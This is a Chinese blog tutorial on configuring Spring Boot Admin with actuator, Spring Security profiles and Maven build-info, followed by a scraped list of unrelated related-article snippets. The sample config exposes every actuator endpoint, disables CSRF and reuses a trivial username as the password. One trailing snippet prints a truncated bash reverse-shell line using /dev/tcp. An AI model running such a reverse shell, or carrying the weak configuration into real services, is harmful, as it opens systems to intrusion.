SpringBoot 是为了简化 Spring 应用的创建、运行、调试、部署等一系列问题而诞生的产物,自动装配的特性让我们可以更好的关注业务本身而不是外部的XML配置,我们只需遵循规范,引入相关的依赖就可以轻易的搭建出一个 WEB 工程

一起来学SpringBoot | 第十四篇:强大的 actuator 服务监控与管理 中介绍了actuator 的作用,细心的朋友可能会发现通过http restful api的方式查看信息过于繁琐也不够直观,效率低下,运维人员看到JSON数据更是一脸懵逼,当服务过多的时候查看起来就过于操蛋了,每个服务都需要调用不同的接口来查看监控信息,备受各种困扰因素的我默默翻了下全球最大男性交友平台找到了spring-boot-admin

什么是SBA

SBA 全称 Spring Boot Admin 是一个管理和监控 Spring Boot 应用程序的开源项目。分为admin-server 与 admin-client 两个组件,admin-server通过采集 actuator 端点数据,显示在 spring-boot-admin-ui 上,已知的端点几乎都有进行采集,通过 spring-boot-admin 可以动态切换日志级别、导出日志、导出heapdump、监控各项指标 等等….

Spring Boot Admin 在对单一应用服务监控的同时也提供了集群监控方案,支持通过eurekaconsulzookeeper等注册中心的方式实现多服务监控与管理…

导入依赖

在 pom.xml 中添加 spring-boot-admin 的相关依赖,这里只演示单机版本的,因此就自己监控自己了

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
  1. <dependencies>
    <!-- 服务端:带UI界面 -->
    <dependency>
    <groupId>de.codecentric</groupId>
    <artifactId>spring-boot-admin-starter-server</artifactId>
    <version>2.0.0</version>
    </dependency>
    <!-- 客户端包 -->
    <dependency>
    <groupId>de.codecentric</groupId>
    <artifactId>spring-boot-admin-starter-client</artifactId>
    <version>2.0.0</version>
    </dependency>
    <!-- 安全认证 -->
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
    </dependency>
    <!-- 端点 -->
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-test</artifactId>
    <scope>test</scope>
    </dependency>
    <!-- 在管理界面中与 JMX-beans 进行交互所需要被依赖的 JAR -->
    <dependency>
    <groupId>org.jolokia</groupId>
    <artifactId>jolokia-core</artifactId>
    </dependency>
    </dependencies>

注意事项

如果要访问info接口想获取maven中的属性内容请记得添加如下内容

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
  1. <build>
    <plugins>
    <plugin>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-maven-plugin</artifactId>
    <executions>
    <execution>
    <goals>
    <goal>build-info</goal>
    </goals>
    </execution>
    </executions>
    </plugin>
    </plugins>
    </build>

属性配置

在 application.properties 文件中配置actuator的相关配置,其中info开头的属性,就是访问info端点中显示的相关内容,值得注意的是Spring Boot2.x中,默认只开放了info、health两个端点,剩余的需要自己通过配置management.endpoints.web.exposure.include属性来加载(有include自然就有exclude,不做详细概述了)。这个management.endpoints.web.base-path属性比较重要,因为Spring Boot2.x后每个端点默认的路径是/actuator/endpointId这样一来Spring Boot Admin是无法正常采集的

application.properties

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
  1. # 描述信息
    info.blog-url=http://blog.battcn.com
    info.author=Levin
    # 如果 Maven 插件没配置此处请注释掉
    info.version=@project.version@
    info.name=@project.artifactId@
    # 选择激活对应环境的配置,如果是dev则代表不用认证就能访问监控页,prod代表需要认证
    spring.profiles.active=prod
  2.  
  3. # 日志文件
    logging.file=./target/admin-server.log
  4.  
  5. # 加载所有的端点/默认只加载了 info / health
    management.endpoints.web.exposure.include=*
    # 比较重要,默认 /actuator spring-boot-admin 扫描不到
    management.endpoints.web.base-path=/
    management.endpoint.health.show-details=always
  6.  
  7. spring.boot.admin.client.url=http://localhost:8080
    # 不配置老喜欢用主机名,看着不舒服....
    spring.boot.admin.client.instance.prefer-ip=true

application-dev.properties - 空

application-prod.properties

为了安全起见,应采用认证的方式

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
  1. # 登陆所需的账号密码
    spring.security.user.name=battcn
    spring.security.user.password=battcn
    # 便于客户端可以在受保护的服务器上注册api
    spring.boot.admin.client.username=battcn
    spring.boot.admin.client.password=battcn
    # 便服务器可以访问受保护的客户端端点
    spring.boot.admin.client.instance.metadata.user.name=battcn
    spring.boot.admin.client.instance.metadata.user.password=battcn

主函数

添加上 @EnableAdminServer 注解即代表是Server端,集成UI的

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
  1. package com.battcn;
  2.  
  3. import de.codecentric.boot.admin.server.config.AdminServerProperties;
    import de.codecentric.boot.admin.server.config.EnableAdminServer;
    import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.context.annotation.Profile;
    import org.springframework.security.config.annotation.web.builders.HttpSecurity;
    import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
    import org.springframework.security.web.authentication.SavedRequestAwareAuthenticationSuccessHandler;
  4.  
  5. /**
    * @author Levin
    */
    @SpringBootApplication
    @EnableAdminServer
    public class Chapter14Application {
  6.  
  7. public static void main(String[] args) {
    SpringApplication.run(Chapter14Application.class, args);
    }
  8.  
  9. /**
    * dev 环境加载
    */
    @Profile("dev")
    @Configuration
    public static class SecurityPermitAllConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
    http.authorizeRequests().anyRequest().permitAll()
    .and().csrf().disable();
    }
    }
  10.  
  11. /**
    * prod 环境加载
    */
    @Profile("prod")
    @Configuration
    public static class SecuritySecureConfig extends WebSecurityConfigurerAdapter {
    private final String adminContextPath;
  12.  
  13. public SecuritySecureConfig(AdminServerProperties adminServerProperties) {
    this.adminContextPath = adminServerProperties.getContextPath();
    }
  14.  
  15. @Override
    protected void configure(HttpSecurity http) throws Exception {
    SavedRequestAwareAuthenticationSuccessHandler successHandler = new SavedRequestAwareAuthenticationSuccessHandler();
    successHandler.setTargetUrlParameter("redirectTo");
  16.  
  17. http.authorizeRequests()
    .antMatchers(adminContextPath + "/assets/**").permitAll()
    .antMatchers(adminContextPath + "/login").permitAll()
    .anyRequest().authenticated()
    .and()
    .formLogin().loginPage(adminContextPath + "/login").successHandler(successHandler).and()
    .logout().logoutUrl(adminContextPath + "/logout").and()
    .httpBasic().and()
    .csrf().disable();
    }
    }
    }

测试

完成准备事项后,启动Chapter14Application 访问 http://localhost:8080/login 看到登陆页面则代表一切正常,接着输入账号密码点击登陆即可…

首页

由于篇幅原因大图就不放太多了,有兴趣的朋友可以直接fork代码运行即可

总结

参考文档:http://codecentric.github.io/spring-boot-admin/2.0.0/

actuator与spring-boot-admin 可以说的秘密的更多相关文章

  1. Spring Boot,Spring Cloud,Eureka,Actuator,Spring Boot Admin,Stream,Hystrix

    Spring Boot,Spring Cloud,Eureka,Actuator,Spring Boot Admin,Stream,Hystrix 一.Spring Cloud 之 Eureka. 1 ...

  2. Spring Boot 2.X(十七):应用监控之 Spring Boot Admin 使用及配置

    Admin 简介 Spring Boot Admin 是 Spring Boot 应用程序运行状态监控和管理的后台界面.最新UI使用vue.js重写里. Spring Boot Admin 为已注册的 ...

  3. spring boot admin + spring boot actuator + erueka 微服务监控

    关于spring boot actuator简单使用,请看 简单的spring boot actuator 使用,点击这里 spring boot admin 最新的正式版本是1.5.3 与 spri ...

  4. Spring Cloud Alibaba学习笔记(24) - Spring Boot Actuator 监控数据可视化:Spring Boot Admin

    我们都知道,Spring Boot Actuator 提供监控数据是Json数据,在某种程度来说并不利于分析查看,那么如何将其进行可视化呢?我们有很多种选择,但是目前在这个领域,最流行的是Spring ...

  5. SpringCloud微服务实战——搭建企业级开发框架(四十四):【微服务监控告警实现方式一】使用Actuator + Spring Boot Admin实现简单的微服务监控告警系统

      业务系统正常运行的稳定性十分重要,作为SpringBoot的四大核心之一,Actuator让你时刻探知SpringBoot服务运行状态信息,是保障系统正常运行必不可少的组件.   spring-b ...

  6. Spring Boot Admin 的使用 2

    http://blog.csdn.net/kinginblue/article/details/52132113 ******************************************* ...

  7. Spring Boot Admin的使用

    http://www.jianshu.com/p/e20a5f42a395 ******************************* 上一篇文章中了解了Spring Boot提供的监控接口,例如 ...

  8. Spring Boot Admin Reference Guide

    1. What is Spring Boot Admin? Spring Boot Admin is a simple application to manage and monitor your S ...

  9. Spring Boot admin 2.0 详解

    一.什么是Spring Boot Admin ? Spring Boot Admin是一个开源社区项目,用于管理和监控SpringBoot应用程序. 应用程序作为Spring Boot Admin C ...

  10. Spring boot admin 节点状态一直为DOWN的排查

    项目中需要监控各个微服务节点的健康状态,找到了spring boot admin这个全家桶监控工具,它其实是Vue.js美化过的Spring Boot Actuator,官方的解释是: codecen ...

随机推荐

  1. Java中线程的操作状态

    start() 线程开始运行 sleep() 当前线程暂停休息 括号里面是多长时间以毫秒为单位 wait() 当前线程等待 notify() 线程wait后用这个方法唤醒 notifyAll() 把所 ...

  2. java实现第八届蓝桥杯数位和

    数位和 题目描述 数学家高斯很小的时候就天分过人.一次老师指定的算数题目是:1+2+-+100. 高斯立即做出答案:5050! 这次你的任务是类似的.但并非是把一个个的数字加起来,而是对该数字的每一个 ...

  3. JSP+SSM+Mysql实现的学生成绩管理系统

    项目简介 项目来源于:https://gitee.com/z77z/StuSystem 本系统是基于JSP+SSM+Mysql实现的学生成绩管理系统.主要实现的功能有教师管理.学生管理.课程管理.学生 ...

  4. 常用的反弹shell脚本

    bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...

  5. Yangcs从简书搬回来了

    追求更加畅快淋漓的书写体验: 简书地址: http://www.jianshu.com/users/9913981cb400/latest_articles. Yangcs在简书[2016] 简书已经 ...

  6. Java线程变量问题-ThreadLocal

    关于Java线程问题,在博客上看到一篇文章挺好的: https://blog.csdn.net/w172087242/article/details/83375022#23_ThreadLocal_1 ...

  7. [Linux之旅一] .NET Core 2.2部署到Docker中

    第一步,使用VS2017或者VS2019创建.NET Core 2.2或3.1的项目,如下图: 在创建项目的时候记得勾选Docker支持,这样会自动创建Dockerfile文件,这个文件用于构建Doc ...

  8. 用Springboot干掉IBM的WAS-为公司省点钱

    1 那一夜,你伤害了我 今夜的雨下得凉快,小南睡得正香,突然收到远洋运维小周的电话:Hello, Are you OK? WAS有issue,快起来help me! 只见小南登陆WAS机,查看了机器日 ...

  9. [转] C++中的namespace

    点击阅读原文 namespace中文意思是命名空间或者叫名字空间,传统的C++只有一个全局的namespace,但是由于现在的程序的规模越来越大,程序的分工越来越细,全局作用域变得越来越拥挤,每个人都 ...

  10. @uoj - 310@ 【UNR #2】黎明前的巧克力

    目录 @description@ @solution@ @accepted code@ @details@ @description@ Evan 和 Lyra 都是聪明可爱的孩子,两年前,Evan 开 ...